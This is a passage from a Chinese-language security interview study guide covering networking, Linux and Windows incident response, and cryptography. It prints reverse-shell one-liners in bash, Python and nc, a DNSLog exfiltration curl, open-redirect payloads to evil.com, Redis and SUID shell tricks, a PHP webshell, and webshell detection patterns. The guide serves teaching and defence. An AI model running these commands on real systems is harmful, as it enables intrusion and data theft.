“HTTPS 解决的是明文传输的三大风险：窃听、篡改、冒充。以经典 RSA 握手为例：客户端发支持的加密套件和随机数，服务端选好套件、发证书和自己的随机数；客户端验证证书链后生成预主密钥，用服务器公钥加密发过去；双方用三个随机数算出会话密钥，之后全部用对称加密通信。现在主流是 ECDHE——密钥由双方各自用椭圆曲线临时密钥算出，连服务器私钥都不参与会话密钥的生成，还顺便支持’前向安全’。”

知识点深讲：

1
TLS 1.2 RSA 握手（经典版，讲流程用这个）：
2
  ① ClientHello    随机数C + 支持的套件列表
3
  ② ServerHello    随机数S + 选定套件 + 证书（含公钥）
4
  ③ 客户端验证证书 → 生成预主密钥P → 用公钥加密发送
5
  ④ 两端用 (C, S, P) 算出相同的会话密钥
6
  ⑤ 之后应用层数据全部对称加密
7

8
ECDHE 版差异（TLS 1.3 已强制）：
9
  双方各发一个"临时椭圆曲线公钥"，密钥在两端各自算出、从不在网上传
10
  → 前向安全：服务器私钥将来泄露，历史流量也解不开（RSA 版做不到）
11

12
证书验证链：根CA（内置在操作系统/浏览器） → 中间CA → 网站证书
13
  逐级验签 + 域名匹配 + 有效期 + 吊销状态（CRL/OCSP）

追问预警：

• 追问：为什么不全用非对称加密？ → 非对称比对称慢 2~3 个数量级，只适合”递钥匙”；一次会话的数据量用对称加密扛。这是”安全 vs 性能”的经典权衡。
• 追问：中间人攻击怎么防住 HTTPS？ → 证书体系。中间人替换证书时，假证书没有浏览器信任的 CA 签名，直接告警（用户手动点”继续访问”就是放弃这层防护——钓鱼页面常见）。抓包工具 Burp 能解密 HTTPS 的前提是你在自己电脑上装了并信任了它的根证书，等于自己请了个中间人。

Q23. 常见 HTTP 状态码？哪些和漏洞有关？#

一句话答案：2xx 成功、3xx 重定向、4xx 客户端错、5xx 服务端错；403/500/302 在渗透里各有”解题嗅觉”。

面试话术：

“常用的是 200 成功、301 永久重定向、302 临时重定向、304 缓存有效、400 请求语法错、401 未认证、403 禁止、404 不存在、500 服务器内部错、502 网关错误。渗透视角：大量 404 说明有人在扫目录；注入后突然 500，说明 payload 干扰了后端逻辑——是注入有戏的信号；403 的资源可以试试伪造 XFF/Referer 头绕过；302 要警惕’仅前端跳转≠权限校验’，跟着 Location 走一圈可能发现未授权页面。”

知识点深讲：

追问预警：

• 追问：HTTP 请求方法和幂等性？ → GET（查，幂等）、POST（增，非幂等）、PUT（替换，幂等）、DELETE（删，幂等）、PATCH（部分改）、OPTIONS（问支持哪些方法——CORS 预检用）、HEAD（只要头）。安全点：DELETE/OPTIONS 没关的 REST 接口可能是越权入口。

Q24. GET 和 POST 的区别？#

一句话答案：语义上 GET 是”读”（参数在 URL、幂等、可缓存可收藏），POST 是”写”（参数在请求体、非幂等）；“POST 更安全”是常见误解——两者都是明文，只有 HTTPS 才加密。

面试话术：

“本质区别在语义和传输位置：GET 参数拼在 URL 上，有长度限制（浏览器实现约定，不是协议规定）、会被浏览器历史和服务器日志记录；POST 放请求体。安全上要澄清：GET 把密码放 URL 里等于写进日志和历史确实更糟，但抓包面前两者一样裸奔——‘POST 安全’只在’不被旁人看到 URL’这个层面成立。另外 GET 也能被 CSRF（<img src=...> 就是 GET 型 CSRF），POST 只是门槛高一点点。”

知识点深讲：

1
一个 GET 请求：
2
  GET /search?kw=flag&page=2 HTTP/1.1
3
  参数在请求行，浏览器/代理/日志全程留痕
4

5
一个 POST 请求：
6
  POST /login HTTP/1.1
7
  Content-Type: application/x-www-form-urlencoded
8
  （空行）
9
  username=admin&password=123456
10
  参数在请求体，大小理论上不限（实际受服务器配置限制）
11

12
CTF/渗透关联：
13
  GET 型注入：参数直接在 URL，sqlmap -u 一把梭
14
  POST 型注入：Burp 抓包存 request.txt，sqlmap -r request.txt

追问预警：

• 追问：RESTful 风格怎么用这两个方法？ → 资源 URL 统一，动作交给方法：GET /users（列表）、POST /users（创建）、PUT /users/1（全量改）、DELETE /users/1（删）。审计 REST 接口时先 OPTIONS 探一下开放的方法。

Q25. DNS 解析过程？DNS 劫持和 DNS 污染的区别？#

一句话答案：递归查询链”本机缓存 → hosts → 本地 DNS（递归）→ 根 → 顶级域 → 权威 DNS”拿 IP；劫持是”改答案的服务器”，污染是”抢答的旁路”。

面试话术：

“以访问 www.example.com 为例：先查浏览器和系统缓存，再查 hosts 文件，没有就问本地 DNS 服务器；本地 DNS 没有就替你递归问根（给你 .com 顶级域地址）、问 .com（给你 example.com 权威 DNS 地址）、问权威 DNS（给你最终 IP），结果逐层缓存。劫持是 DNS 服务器本身作恶或被黑，返回假 IP——比如运营商插广告；污染更阴险，是在你到 DNS 服务器的路上，攻击者抢先回一个假响应包（DNS 用 UDP 无连接，先到先得），真响应来时已晚了。”

知识点深讲：

1
解析顺序（记忆口诀：近的先问）
2
  浏览器缓存 → 系统缓存 → hosts → 本地DNS(递归) → 根 → 顶级域 → 权威DNS
3

4
劫持 vs 污染：
5
  DNS 劫持   攻击者控制/冒充 DNS 服务器        （改"答题人"）
6
  DNS 污染   伪造响应抢在真答案之前到达         （路上"抢答"）
7
  防污染思路：DNSSEC（对 DNS 响应做数字签名，可验证真伪）、DoH/DoT（DNS over HTTPS/TLS，加密传输防抢答）

追问预警：

• 追问：DNSLog 在盲注里怎么用？ → 申请一个子域名域（如 xxx.dnslog.cn），把要外带的数据拼进子域名发起解析（curl http://whoami.xxx.dnslog.cn），DNSLog 后台就能看到解析记录——DNS 协议几乎不会被完全封死，是无回显漏洞的标准带外通道。

Q26. ARP 欺骗的原理？能干什么？#

一句话答案：ARP 协议”IP 问 MAC”毫无验证，攻击者在局域网里疯狂广播”我是网关的 MAC”，流量就被引到攻击者机器上——可嗅探、可篡改、可断网。

面试话术：

“局域网内通信用 MAC 地址，ARP 负责’IP 查 MAC’，而且这个协议天生不设防——谁来应答都信。攻击者向受害者宣称’网关 IP 对应我的 MAC’，同时向网关宣称’受害者 IP 在我这’，双向欺骗后两个人的流量都经过攻击者。ARP 本来就只在局域网内，所以这是内网攻击经典手法，攻击者再配合 HTTPS 降级或 SSLStrip 还能继续搞中间人。”

知识点深讲：

1
正常 ARP：  "谁是 192.168.1.1？" → 网关应答"我是，MAC 是 aa:aa..."
2
欺骗 ARP：  攻击者持续广播"我是 192.168.1.1，MAC 是 cc:cc..."（攻击者网卡）
3
             受害者 ARP 缓存被污染 → 发往网关的帧全到攻击者手里
4

5
利用形态：
6
  嗅探     转发流量顺便看明文协议（HTTP/FTP/Telnet 全裸）
7
  篡改     HTTP 响应里插 JS（大规模 XSS）
8
  断网     只收不发（DoS）
9
  会话劫持 截获 Cookie/Token
10

11
防御：交换机端口绑定 MAC（DHCP Snooping + ARP Inspection）、
12
     静态 ARP 绑定关键主机、内网 NAC 准入控制

追问预警：

• 追问：ARP 欺骗和 DNS 欺骗怎么选？ → DNS 欺骗只劫持域名解析（访问特定域时中招），ARP 欺骗劫持的是该受害者所有明文流量；攻击者常组合用：ARP 骗到流量位置，再 DNS 骗到假站点。

Q27. Cookie、Session、Token 的区别与联系？#

一句话答案：Cookie 是浏览器端的”储物柜”，Session 是服务器端的”登记簿”（Cookie 里只放钥匙），Token 是自带签名的”电子工牌”（服务器不记档案，验签即认）。

面试话术：

“HTTP 无状态，三者都在解决’让服务器认得你’。Cookie 是浏览器按域名存储的小数据，会随请求自动带上——它只是载体。Session 把状态存服务器，浏览器 Cookie 里只放一个 SessionID 当钥匙。Token（典型 JWT）反过来：状态不在服务器存，全部信息+签名打包发给客户端自己保管，请求时带上，服务器验签即可——无状态、适合分布式和 App，代价是签发后难以主动作废。”

知识点深讲：

1
流程对比：
2
  Cookie+Session：
3
    登录 → 服务器建 session 存内存/Redis → Set-Cookie: PHPSESSID=abc
4
    后续请求浏览器自动带 PHPSESSID → 服务器查登记簿认人
5
    （服务器可随时销毁 session = 可以"踢人下线"）
6

7
  Token(JWT)：
8
    登录 → 服务器签发 header.payload.signature → 客户端自己存（localStorage 常见）
9
    后续请求 Authorization: Bearer eyJhbGc... → 服务器只验签
10
    （不查库、水平扩展爽；但想作废只能等过期/维护黑名单）
11

12
安全对比：
13
  Cookie 可加 HttpOnly（JS 读不到）+ Secure（仅 HTTPS）+ SameSite（防 CSRF）——浏览器原生保护
14
  Token 存 localStorage 无 HttpOnly 保护，页面一旦 XSS 就被偷
15
  会话固定攻击（Session Fixation）：登录后必须重发新 SessionID，防"提前种钥匙"

追问预警：

• 追问：session 劫持和会话固定怎么防？ → 劫持：全站 HTTPS（防嗅探）、HttpOnly（防 XSS 偷）、同 IP/UA 校验（辅助）。固定：登录成功后 session_regenerate_id()（PHP）强制换新钥匙。

Q28. 什么是开放重定向漏洞？#

一句话答案：redirect?url=用户输入 未校验目标，攻击者设 url=https://evil.com 把官方域变成钓鱼跳板。

面试话术：

“很多站有’登录后跳回原页面’功能，参数比如 ?next=/home。如果 next 不做校验，攻击者发 ?next=https://evil.com 的官方链接给用户——看到的是官方域名，点进去却跳到钓鱼站，可信度直接拉满。开放重定向本身危害不大，但它是钓鱼的最佳燃料，还常被用来绕过 SSRF 的域名校验（先跳到官方域再 302 到内网）。”

知识点深讲：

1
漏洞代码：  return redirect(request.args.get("next"))          # 无校验
2
利用形态：  login?next=https://evil.com/phishing
3
绕过变体：  next=//evil.com        （协议相对地址，还是跳外域）
4
           next=https:evil.com     （畸形解析差异）
5
           next=/%5cevil.com       （反斜杠被浏览器当 /）
6

7
SSRF 联动：目标校验"URL 域名必须是白名单" → 提交白名单域上一个
8
          会 302 到内网的接口 → 校验通过、跳转后打内网

防御：重定向目标用白名单（只允许站内路径或固定域）；必须允许外域时给用户明确确认页；服务端解析 URL 后校验最终 host（防畸形绕过）。

追问预警：

• 追问：怎么快速发现开放重定向？ → 抓所有带 url= / next= / redirect= / return= / goto= 的参数，替换成 https://example.com 看是否直接跳转；再测 // 和 \ 变体看校验强度。

Q29. 常见的网络端口和对应服务？（背表）#

一句话答案：21 FTP、22 SSH、23 Telnet、25 SMTP、53 DNS、80 HTTP、110 POP3、135 RPC、139/445 SMB、1433 MSSQL、1521 Oracle、3306 MySQL、3389 RDP、6379 Redis、27017 MongoDB、8080 常见 Web。

面试话术：

“报端口我按’服务画像’报：看到 445 想到永恒之蓝和 SMB 漏洞，看到 6379 想到 Redis 未授权，看到 3389 想到 RDP 爆破。内网渗透里端口扫描就是画攻击面的过程，比背数字更重要的是每个端口背后的默认漏洞剧本。”

知识点深讲：

追问预警：

• 追问：Redis 未授权怎么拿 shell？ → 三板斧：① CONFIG SET dir /var/spool/cron + 写计划任务反弹 shell；② 写 authorized_keys 添 SSH 公钥；③ 写 web 目录马（知道 Web 路径时）。核心条件：6379 无密码 + 可写敏感目录。

Q30. 讲一下 HTTP 缓存相关的头？（安全视角）#

一句话答案：Cache-Control/Expires 定新鲜度、ETag/Last-Modified 定协商缓存；安全视角关注敏感响应被共享缓存/浏览器留存的问题。

面试话术：

“强缓存看 Cache-Control（如 max-age=3600 表示一小时内在效期内不再请求），到期后走协商缓存：带上 If-None-Match（对应 ETag）或 If-Modified-Since 问服务器’变了没’，没变回 304 继续用缓存。安全问题是敏感数据（含个人信息/权限的页面）如果被缓存，从公共电脑或代理服务器历史里就能翻出来——所以银行类响应都要 Cache-Control: no-store。”

知识点深讲：

1
请求一个资源的时间线：
2
  浏览器：有缓存且新鲜吗？（max-age 内）→ 直接用（强缓存，不发请求）
3
  不新鲜了 → 发条件请求（If-None-Match: "abc123"）
4
  服务器：资源没变 → 304 Not Modified（无响应体，省流量） → 浏览器续用缓存
5
  变了     → 200 + 新资源 + 新 ETag
6

7
安全关联：
8
  no-store                敏感页面必配（什么都不存）
9
  CDN 缓存投毒            攻击者构造带恶意头的请求污染共享缓存，
10
                          后续所有用户拿到投毒响应（Web Cache Deception/Prerender 类）
11
  Web Cache Deception     请求 /profile/xxx.css → 服务器返回 profile 页面
12
                          但 CDN 按 .css 缓存了含隐私的响应 → 攻击者读取

追问预警：

• 追问：什么是 Web Cache Deception？ → 诱导用户（或让用户页面自动）请求 敏感页.css/.logo 这类静态后缀，应用服务器忽略后缀返回原页面，CDN 却按”静态资源”规则缓存了这个含隐私的响应；攻击者随后请求同一 URL 从 CDN 读到用户数据。防御：CDN 不缓存动态路径 + 应用对未知路径返回 404 + 敏感响应一律 no-store。

Q31. 渗透测试中常用的 Linux 命令？#

一句话答案：找文件（find/locate/grep）、看进程网络（ps/netstat/ss/lsof）、查身份（id/who/w/last）、管服务（systemctl/chkconfig）。

面试话术：

“我按场景说：信息收调用 uname -a 看内核版本（提权前提）、id 看当前权限；找敏感文件 find / -name ‘*.conf’ 2>/dev/null，找密码 grep -r ‘password’ /var/www 2>/dev/null；判断出口 netstat -antup 看谁在监听、和谁建立了连接；进程排查 ps aux | grep -v root 专看非 root 异常进程。应急时 ss -antup 看反弹 shell 的外连、ls -la /tmp 看落盘工具，基本是肌肉记忆。”

知识点深讲：

追问预警：

• 追问：find 的 -mtime 0 和 -mtime -1 区别？ → -mtime 0 是”24 小时内被改过”，-mtime -1 同样是 24 小时内（负数=以内），+1 是”超过 48 小时”；面试考这个说明你真用过。2>/dev/null 是把”权限不足”的报错丢弃，不然 find / 会刷一屏 Permission denied。

Q32. 怎么在服务器上查找 webshell？#

一句话答案：静态特征 grep 危险函数 + 文件属性（新增/改动时间）双管齐下，动态看异常网络连接，D 盾/河马类工具做补充。

面试话术：

“我分静态和动态两路。静态：先按时间圈范围——find /var/www -mtime -7 找最近改动的文件，攻击时间窗内的最可疑；再搜特征，PHP 的话 grep -rn ‘eval|assert|system|base64_decode|preg_replace.*/e’ 圈危险函数，配合查’体积异常小但含上述函数’的文件；再扫整站目录对比文件哈希（有备份/代码仓时 diff 出新增文件）。动态：ss -antup 盯外连 IP，webshell 被连接时往往有可疑 TCP；日志里看 POST 打到不常见 .php 且都是 200。工具上 D 盾、河马查杀、牧云做辅助确认。”

知识点深讲：

1
静态三层筛选（逐步缩小包围圈）：
2
  第一层（时间）：find /var/www -type f -mtime -7 -name "*.php"
3
  第二层（特征）：grep -rnE "(eval|assert|system|passthru|shell_exec|base64_decode)\s*\("
4
                 加上变形特征：\$_(GET|POST|REQUEST)\[ 直接拼接的
5
  第三层（对比）：与 git/备份 diff → 新增的 PHP 就是头号嫌疑
6

7
常见 webshell 形态（检测特征来源）：
8
  一句话      <?php @eval($_POST['cmd']);?>        —— eval + 超全局变量
9
  变种混淆    chr(115).chr(121)... 拼接             —— 静态关键词没了，靠行为
10
  base64 层   eval(base64_decode(...))              —— 解码后再扫
11
  免杀大马    单独文件+正常外观+大量注释             —— 哈希对比/行为分析才抓得住
12

13
动态侧（免杀 webshell 的克星）：
14
  ① netflow/ss 看外连：正常业务外连是有限的，陌生 IP+高位端口=可疑
15
  ② 日志行为：同 URL 高频 POST、UA 是 AntSword/菜刀特征串
16
  ③ 文件操作审计：auditd 监控 Web 目录写入

追问预警：

• 追问：日志分析你熟吗？ →（直接讲你 07 脚本的经验）“写过日志分析脚本：正则逐行解析 nginx combined 格式，Counter 统计 IP 频次定位扫描器，规则库匹配 union select / eval / ../ 等特征分类攻击行为，URL unquote 解码后再匹配（攻击语句常被 URL 编码藏起来），日志里的 base64 参数还会尝试还原——真实案例里就把 eval(base64_decode(...)) 的 webshell 连接还原出来了。“

Q33. 排查 Linux 后门：计划任务、启动项、账号新增各查哪里？#

一句话答案：计划任务查 crontab 和 /etc/cron*；启动项查 /etc/rc.local、systemd 服务、~/.bashrc 等登录脚本；账号查 /etc/passwd 里 UID=0 的非 root 行和新增可登录用户。

面试话术：

“Linux 权限维持的点位我按’定时、开机、登录’三类背。定时类：crontab -l 看当前用户的、ls -la /etc/cron.d /etc/cron.daily 看系统级的，攻击者爱在 /etc/cron.d 里放反弹 shell。开机类：/etc/rc.local、systemctl list-unit-files | grep enabled 里陌生的、还有 /etc/ld.so.preload 这种劫持动态库的高级货。登录类：/etc/passwd 找 UID 为 0 的异常用户、usermod 改过 shell 的、以及 ~/.ssh/authorized_keys 被塞的公钥——公钥后门最容易被忽略。”

知识点深讲：

1
权限维持点位地图（排查=逐点过一遍）：
2
  定时触发   crontab -e 的每用户表
3
             /etc/crontab /etc/cron.d/* /etc/cron.daily/* 系统级
4
             （cron 脚本里藏着 bash -i >& /dev/tcp/x.x.x.x/4444 就是反弹）
5
  开机触发   /etc/rc.local
6
             systemctl enable 的自定义 unit（看 Description 含糊的）
7
             /etc/init.d/ 老式脚本
8
  登录触发   /etc/profile、/etc/profile.d/*.sh（全局）
9
             ~/.bashrc ~/.bash_profile ~/.profile（单用户）
10
             ~/.ssh/authorized_keys 公钥后门
11
  库劫持     /etc/ld.so.preload（让所有程序加载恶意 so——高级后门）
12
  账号后门   /etc/passwd 的 UID=0 非 root 行
13
             passwd -S root 看密码是否被改、useradd 时间戳对照 /var/log/secure
14

15
工具化排查：rkhunter / chkrootkit（rootkit 专项）
16
         Lynis（安全基线审计）

追问预警：

• 追问：Windows 的对应点位？ → 计划任务 schtasks /query、注册表 Run 键（HKCU…\Run）、服务 sc query、WMI 事件订阅（无文件后门）、启动文件夹、粘滞键替换（sethc.exe）。

Q34. 反弹 shell 的原理？写一个标准的 bash 反弹？#

一句话答案：目标机器主动连攻击者（绕过防火墙”入站拦截”），把 bash 的输入输出重定向到这条 TCP 连接上。

面试话术：

“反弹 shell 解决的是’目标不出网入站、但能出网’的场景：不是我去连目标，而是让目标来连我。经典一条是 bash -i >& /dev/tcp/ip/port 0>&1——/dev/tcp 是 bash 内置的伪设备，代表一条 TCP 连接；>& 把错误输出和标准输出都重定向过去，0>&1 再把标准输入也接上，等于把我这边的键盘接到了目标的 bash 上。我这边用 nc -lvnp 4440 监听等着收。”

知识点深讲：

1
攻击机：nc -lvnp 4440                 （监听 4440）
2
目标机：bash -i >& /dev/tcp/1.2.3.4/4440 0>&1
3

4
拆解（面试常要求逐符号解释）：
5
  bash -i          交互式 shell
6
  /dev/tcp/IP/PORT bash 特殊伪文件，读写它=读写 TCP 连接
7
  >&                等价 2>&1，把 stderr 合并进 stdout
8
  >& /dev/tcp/...   合并后的输出全部送进 TCP 连接
9
  0>&1              stdin 跟随 stdout 的重定向 → 键盘输入也走连接
10

11
bash 被删/受限时的备胎：
12
  python: python3 -c 'import socket,subprocess,os;
13
         s=socket.socket();s.connect(("1.2.3.4",4440));
14
         os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
15
         subprocess.call(["/bin/sh","-i"])'
16
  nc 有 -e：nc -e /bin/sh 1.2.3.4 4440
17
  加密升级：openssl s_client 或 mkfifo 双向管道（防 IDS 识别明文特征）

追问预警：

• 追问：目标没有出网怎么办？ → 换 ICMP/DNS 隧道出网（只要允许 ping 或解析域名就有戏）；或纯内网打法：先拿到 Webshell 在内网机器上做跳板，通过它打内网其他目标（见第七章隧道技术）。

Q35. Linux 文件权限 777 是什么意思？SUID 呢？#

一句话答案：三位数字分别对应”属主/属组/其他人”的 rwx 权限（r=4,w=2,x=1）；SUID 是给可执行文件加的标志，执行时以文件属主身份跑——sudo、passwd 就靠它，也是提权经典入口。

面试话术：

“777 是三个八进制位：第一个 7 是属主的 rwx，第二个是属组，第三个是其他人——777 等于人人可读可写可执行，生产上出现就是配置事故。SUID 是权限位里的特殊标记（ls 看到属主 x 位变成 s），效果是’谁执行这个程序，进程身份就是文件属主’。所以 passwd 普通用户也能改 /etc/shadow——因为 passwd 属 root 且带 SUID。提权思路就是找’属 root + SUID + 行为可控’的程序。”

知识点深讲：

1
权限位解剖：
2
  -rwsr-xr-x  1 root root  /usr/bin/passwd
3
   │├属主 s = SUID+x
4
   │  ├属组 r-x
5
   │     └其他 r-x
6

7
常见 SUID 提权路径（GTFOBins 思想）：
8
  find / -perm -4000 2>/dev/null        # 先枚举所有 SUID 文件
9
  经典目标：
10
    /usr/bin/find    find . -exec /bin/sh \;   （find 带 -exec 就能弹 shell）
11
    /usr/bin/vim     vim -c '!sh'               （编辑器逃逸）
12
    /usr/bin/env     env /bin/sh                （直接换 shell）
13
  本质：SUID 程序属 root，它的"可控功能"= 以 root 身份执行命令
14

15
姊妹标志：SGID（以属组身份跑，目录上加=新文件继承目录属组）
16
        Sticky（/tmp 上常见的 t：谁都能建文件，但只能删自己的）

追问预警：

• 追问：为什么 /tmp 目录是 rwxrwxrwt？ → 最后的 t 是 Sticky 位：所有人可写（放临时文件），但删除权只限文件属主——防止用户互相删对方的文件。

Q36. 硬链接和软链接的区别？（安全视角）#

一句话答案：硬链接是”同一个文件的两个名字”（同 inode，删原名不影响）；软链接是”存了路径的快捷方式”（原文件删了就失效）。

面试话术：

“硬链接和源文件共享同一个 inode——它们是同一份数据的两个入口，删掉其中一个，数据仍在，直到所有链接都删除。软链接是独立文件，内容只是目标的路径字符串，目标没了它就是死链。安全上软链接攻击更出名：/tmp 里人人可写，攻击者预先建一个指向 /etc/shadow 的软链接，等特权程序以 root 身份’删除并重建’同名临时文件时，就被带偏到系统敏感文件——历史上不少 CVE 都是这个套路。”

知识点深讲：

1
inode 概念：Linux 文件系统里，文件数据+元信息=inode（编号唯一）
2
  硬链接：ln /etc/passwd p2        ls -li 看到两个名字 inode 相同、链接数+1
3
  软链接：ln -s /etc/passwd p3     独立 inode，文件类型 l，内容存路径
4

5
软链接攻击模型（安全岗加分题）：
6
  前提：特权程序在可写目录（/tmp）用"可预测文件名"且操作前不检查
7
  步骤：① 攻击者 ln -s /etc/shadow /tmp/app_cache
8
       ② 特权程序打开 /tmp/app_cache 写 → 实际写穿到 /etc/shadow
9
  防御：程序用 O_NOFOLLOW 打开、mkstemp 生成不可预测文件名、
10
       可写目录加 Sticky 位（保住自己的文件不被预放链接替换的变体）

追问预警：

• 追问：为什么硬链接不能跨文件系统？ → 硬链接本质是”给 inode 加名字”，inode 号只在单个文件系统内唯一，跨盘的 inode 号没有意义；软链接存的是路径字符串，天然跨文件系统。

Q37. Linux 日志都在哪？应急时看哪几条？#

一句话答案：认证看 /var/log/secure（或 auth.log）、系统看 /var/log/messages（或 syslog）、Web 看 nginx/apache 的 access 和 error 日志、登录历史看 last/wtmp。

面试话术：

“我按攻击链记日志：登录环节——/var/log/secure 记 SSH 认证，爆破会留一串 Failed password；命令环节——~/.bash_history 攻击者手滑的话全是现场；Web 入口——access.log 看请求特征，配合 07 号脚本那种正则+频次统计定位扫描和注入；登录历史——last 读 wtmp 看谁从哪个 IP 何时上过机，lastb 是失败记录（爆破痕迹）。再加 journalctl —since 看时间窗内的 systemd 全量日志。”

知识点深讲：

追问预警：

• 追问：攻击者清空了日志怎么办？ → ① 日志具有”先写后删”特性，删除动作本身留痕（shred/rm 的 execve 在 auditd）；② 找外证：流量镜像、IDS 告警、同网段其他机器、备份的日志服务器（正经企业日志都异地集中收）；③ 被删但进程还占着的文件 lsof | grep deleted 可从 /proc/PID/fd 恢复内容。

Q38. Windows 应急响应你会查哪些点？#

一句话答案：账号（net user、注册表 SAM）、进程（tasklist/Process Explorer 看无签名/异常父进程）、网络（netstat -ano 对 PID）、持久化（计划任务/服务/Run 键/WMI）、日志（事件查看器 4624 登录、4720 建号）。

面试话术：

“Windows 应急我走’身份-进程-网络-持久化-日志’五步。账号：net user 看新增、lusrmgr 看隐藏的 $ 结尾账号。进程：tasklist /svc 配 PID，Process Explorer 看无签名的、父进程异常的（svchost 的爹不是 services.exe 就有问题）。网络：netstat -ano 找外连，PID 反查进程名。持久化：schtasks /query、sc query、注册表 HKCU Run 键、最近的 WMI 事件订阅（wmic / namespace 查）。日志：事件查看器安全日志，4624 成功登录、4720 创建用户、4672 特权登录，按时间轴排。”

知识点深讲：

1
事件 ID 速记（安全日志）：
2
  4624   登录成功（看 LogonType：10=远程桌面，3=网络，2=本地交互）
3
  4625   登录失败（连串=爆破）
4
  4720   创建用户（新增账号实锤）
5
  4728/4732 加入管理员组（提权实锤）
6
  7045   系统日志：新服务安装（PsExec 类横向的痕迹）
7

8
工具化（说得出工具+用途是加分）：
9
  Process Explorer / Process Hacker   进程树、签名、句柄
10
  Autoruns                            全量自启动点位一屏看完（安全岗位神器）
11
  TCPView                             实时连接
12
  Volatility                          内存取证（无文件攻击的克星）
13
  LogParser / Hayabusa / Chainsaw     日志快速分析

追问预警：

• 追问：什么是无文件攻击？怎么查？ → 恶意行为不落盘：PowerShell 内存执行、WMI 事件订阅、注册表 payload。查法：进程命令行（wmic process get commandline 看 powershell -enc 串）、AMIS/日志里 4104 PowerShell 脚本块记录、内存取证 Volatility。这也是”杀软没报”不等于没入侵的原因。

Q39. 对称加密和非对称加密的区别？各自用在什么场景？#

一句话答案：对称一把钥匙加密解密（快，AES/DES），非对称公钥私钥成对（慢，RSA/ECC），工程上”非对称递钥匙、对称扛数据”。

面试话术：

“对称加密加解密同一把密钥，算法快，适合大块数据，但密钥怎么安全递给对方是个死结——这就是非对称加密存在的意义：公钥加密只有私钥能解，密钥交换问题解决了，但慢两三个数量级。所以 HTTPS 的真实做法是握手时用非对称协商出会话密钥，之后全程对称加密——各干各擅长的事。密钥管理上，对称怕’密钥分发’，非对称怕’私钥保管’和’确认这公钥真是他的’（于是有了证书体系）。”

知识点深讲：

追问预警：

• 追问：国密算法知道吗？ → SM2（椭圆曲线非对称+签名）、SM3（哈希，256 位）、SM4（对称分组，128 位）、SM9（标识密码）；等保和关基行业要求国密改造，金融政企岗常考。

Q40. AES 的分组模式有哪些？ECB 为什么不安全？#

一句话答案：ECB 各块独立加密（同明文块=同密文块，暴露模式）、CBC 链式异或、CTR 计数器流式、GCM 认证+加密二合一；ECB 因”企鹅图”级的信息泄露被淘汰。

面试话术：

“AES 只处理 16 字节一块，长数据要分组模式。ECB 是每块独立加密——致命点是相同的明文块永远加密成相同的密文块，著名的’企鹅图’演示就是拿 ECB 加密一张企鹅图片，密文图里企鹅轮廓清晰可见，数据模式全泄了。CBC 把上一块密文异或进下一块明文再加密，模式被打散；CTR 把计数器加密成密钥流异或明文，能并行、不用填充；GCM 在 CTR 上加认证标签，篡改会被发现——现在新系统无脑选 GCM。”

知识点深讲：

1
明文:  [块1:AAAA][块2:AAAA][块3:BBBB]
2
ECB:   [E(AAAA)][E(AAAA)][E(BBBB)]   ← 重复模式直接可见！
3

4
CBC:   C1 = E(P1 XOR IV)
5
       C2 = E(P2 XOR C1)              ← 链式传播，同明文不同密文
6
       ⚠️ CBC 经典攻击：Padding Oracle —— 服务器对"填充错误"和"MAC错误"
7
       返回不同响应时，可逐字节解密任意密文（PKCS#7 填充可探测）
8

9
CTR:   C_i = P_i XOR E(nonce+counter) ← 流式，可并行，无需填充
10
GCM:   CTR + 认证标签(tag)             ← 加密+完整性一步到位，AEAD 标杆

追问预警：

• 追问：什么是 Padding Oracle 攻击？ → 服务器解密后对”填充不合法”和”解密成功”给出可区分的响应（报错不同/耗时不同），攻击者篡改密文块逐字节试探填充合法值，不需要密钥就能恢复明文。防御：加密+认证统一用 GCM 等成熟组合，错误响应统一化（不可区分）。

Q41. RSA 的原理？常见攻击有哪些？#

一句话答案：基于”大数分解难题”——公钥 (n,e)、私钥 (d,n)，加密 c=m^e mod n、解密 m=c^d mod n，n=pq 两个大素数乘积，分解出 p、q 就等于私钥泄露。

面试话术：

“RSA 的安全性押在’两个大素数的乘积难以分解’上。密钥生成：选两个大素数 p、q，n=pq，φ(n)=(p-1)(q-1)，选 e 与 φ(n) 互质，d 是 e 模 φ(n) 的逆——(n,e) 公开，(p,q,d) 保密。加密就是明文模幂运算。CTF 里常见的坑：e 太小（e=3）配合短消息，不解密也开方出来；n 共用一个因子，gcd 直接互解；p 和 q 离得太近，费马分解秒杀。真实世界则是’实现层漏洞’更多：随机数不好导致素数重复、侧信道。”

知识点深讲：

1
数学骨架：
2
  生成:  p, q (大素数) → n = pq → φ(n) = (p-1)(q-1)
3
        选 e（常 65537）→ d ≡ e⁻¹ (mod φ(n))
4
  加密:  c = mᵉ mod n        签名:  s = H(m)ᵈ mod n
5
  解密:  m = cᵈ mod n        验签:  H(m) ?= sᵉ mod n
6

7
常见攻击速查（CTF Crypto 岗的高频谈资）：
8
  小 e 攻击      e=3 且 m 很小 → m < n^(1/3) 时直接对 c 开立方
9
  共模攻击      同一消息、同 n 不同 e → 扩展欧几里得合并出明文
10
  公因子攻击    两个 n 共享素数 → gcd(n1, n2) 立刻分解
11
  Fermat 分解   p、q 过于接近 → a²-n 逐次开方逼近
12
  Wiener 攻击   d 太小 (< n^0.25) → 连分数展开恢复 d
13
  选择密文攻击  无填充的教科书 RSA，可让服务器"帮我解密"构造值

追问预警：

• 追问：为什么 e 常用 65537？ → 二进制是 10000000000000001，模幂运算快（只有两个 1）；又不是小到 3 那样容易被小指数攻击。性能与安全的平衡点。

Q42. 哈希函数的特性？MD5 和 SHA 系列区别？#

一句话答案：单向（不可逆）、定长输出、抗碰撞（找不到两个不同输入同输出）、雪崩效应（改一位输出大变）；MD5 已被碰撞攻破只能当校验用，安全场景用 SHA-256 起。

面试话术：

“哈希四大特性：单向性——从摘要推不回原文；定长——任意长度输入固定长度输出；抗碰撞性——找不到两个输入哈希相同；雪崩效应——输入改一个比特，输出约一半比特翻转。MD5 是 128 位输出，中国王小云团队 2004 年就给出了碰撞方法，所以涉及’防伪造’的场景（签名、证书）MD5 早出局了，但下载校验这种’防传输损坏’场景还能凑合。密码存储则连 SHA-256 裸用都不行——太快了适合爆破，要用 bcrypt/scrypt/Argon2 这类慢哈希加盐。”

知识点深讲：

1
算法对照：
2
  MD5      128 位   碰撞已破        校验和、非安全场景
3
  SHA-1    160 位   2017 SHAttered 实际碰撞   退出信任场景
4
  SHA-256  256 位   安全            主流标准
5
  SHA-3    任意     海绵结构        与 SHA-2 并行的备胎标准
6
  SM3      256 位   国密            政企合规场景
7

8
密码存储的正确姿势（高频题）：
9
